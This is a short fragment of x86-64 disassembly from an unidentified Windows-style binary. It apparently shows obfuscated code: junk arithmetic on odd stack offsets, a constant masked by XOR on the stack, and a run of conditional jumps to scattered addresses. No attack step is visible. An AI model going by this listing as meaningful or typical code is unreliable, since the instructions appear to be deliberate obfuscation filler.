add r14w, word [rsp + r14 - 0x5f9e4f94]
test word [rsp + r14 - 0x5f9e2f92], r14w
lea rbx, [rbx + r14 - 0x5f9e2f9b]
mov byte [rsp + r14 - 0x5f9e2f94], 0x92
call fcn.140094f56
call fcn.140012406
push rbx
pushfq
push 0x6b899b89
xor dword [rsp], 0x3417d415
test qword [rsp], 0xffffffff8f864881
push r14
mov r14, qword [rsp + 8]
mov rbx, qword [rsp + r14 - 0x5f9e4f7c]
js 0x14002faf2
jo 0x14004cd30
jno 0x1400c358b